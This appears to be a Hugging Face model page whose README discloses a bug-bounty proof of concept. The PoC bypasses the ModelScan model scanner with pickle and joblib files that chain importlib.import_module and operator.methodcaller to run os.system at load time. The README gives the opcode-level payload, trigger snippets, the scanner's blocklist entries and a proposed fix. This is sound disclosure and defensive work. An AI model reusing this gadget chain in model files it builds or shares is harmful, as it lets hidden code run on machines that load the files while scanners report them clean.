Downloads · 30 days
0
LWa7ch/poc-modelscan-bypass-methodcaller
poc-modelscan-bypass-methodcaller is a machine learning model from LWa7ch. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
This repository contains proof-of-concept files demonstrating a bypass of ModelScan 0.8.x (latest) for the Protect AI / huntr.com Model Format Vulnerability bug bounty program.
Downloads · 30 days
0
Access
Public
Updated Jul 18, 2026
Repo size
128 B
Likes
0
Public
Click a slice to open those files.
.py6.7 KB · 54%
From the Hugging Face model README
This repository contains proof-of-concept files demonstrating a bypass of ModelScan 0.8.x (latest) for the Protect AI / huntr.com Model Format Vulnerability bug bounty program.
The .pkl and .joblib files in this repo execute arbitrary commands at deserialization
time while passing ModelScan's scan as "No issues found."
Affected scanner: ModelScan 0.8.8 Affected file types: .pkl .pickle .joblib .dill .dat .data Impact: Arbitrary Code Execution at model-load time, scanner bypass
ModelScan's unsafe_globals blocklist explicitly blocks operator.attrgetter with a
comment documenting the operator gadget pattern, but omits operator.methodcaller,
which achieves equivalent method invocation on runtime objects. The importlib module
is entirely absent from the blocklist.
importlib.import_module("os") <- not in ModelScan blocklist
operator.methodcaller("system", CMD) <- not in ModelScan blocklist
(only attrgetter is blocked)
Execution:
operator.methodcaller("system", CMD)(importlib.import_module("os"))
= os.system(CMD)
{('importlib', 'import_module'), ('operator', 'methodcaller')}
Neither is in unsafe_globals. ModelScan reports CLEAN.
pip install modelscan joblib
import pickle
with open("poc_modelscan_bypass.pkl", "rb") as f:
data = f.read()
# This executes os.system("id > /tmp/ml_pwned") immediately
pickle.loads(data)
import os
assert os.path.exists("/tmp/ml_pwned")
print("ACE confirmed:", open("/tmp/ml_pwned").read())
modelscan -p poc_modelscan_bypass.pkl
Expected output:
No issues found!
import joblib
joblib.load("poc_modelscan_bypass.joblib")
# Same RCE fires
PROTO 4
FRAME 107
SHORT_BINUNICODE 'importlib' MEMOIZE (as 0)
SHORT_BINUNICODE 'import_module' MEMOIZE (as 1)
STACK_GLOBAL MEMOIZE (as 2) <- importlib.import_module
SHORT_BINUNICODE 'os' MEMOIZE (as 3)
TUPLE1 MEMOIZE (as 4)
REDUCE MEMOIZE (as 5) <- os module
POP
SHORT_BINUNICODE 'operator' MEMOIZE (as 6)
SHORT_BINUNICODE 'methodcaller' MEMOIZE (as 7)
STACK_GLOBAL MEMOIZE (as 8) <- operator.methodcaller
SHORT_BINUNICODE 'system' MEMOIZE (as 9)
SHORT_BINUNICODE 'id > ...' MEMOIZE (as 10)
TUPLE2 MEMOIZE (as 11)
REDUCE MEMOIZE (as 12) <- methodcaller("system", cmd)
BINGET 5 <- retrieve os module
TUPLE1
REDUCE <- os.system(cmd) -> RCE
STOP
modelscan/settings.py line in unsafe_globals:
# Current (vulnerable)
"operator": [
"attrgetter", # Ex of code execution: operator.attrgetter("system")(__import__("os"))("echo pwned")
],
The developer documented the operator gadget pattern but only blocked attrgetter.
methodcaller achieves the same result through method dispatch on runtime objects.
# Fixed
"operator": ["attrgetter", "methodcaller", "itemgetter"],
"importlib": "*",
| File | Description |
|---|---|
| poc_modelscan_bypass.pkl | Malicious pickle — passes ModelScan, executes os.system() |
| poc_modelscan_bypass.joblib | Same payload, .joblib extension |
| poc_modelscan_bypass.py | Python script that generates and verifies the PoC |
This PoC uses a benign indicator (id > /tmp/ml_pwned) to demonstrate code execution.
It is submitted exclusively through the official Protect AI / huntr.com bug bounty program.
Do not use against systems you do not own.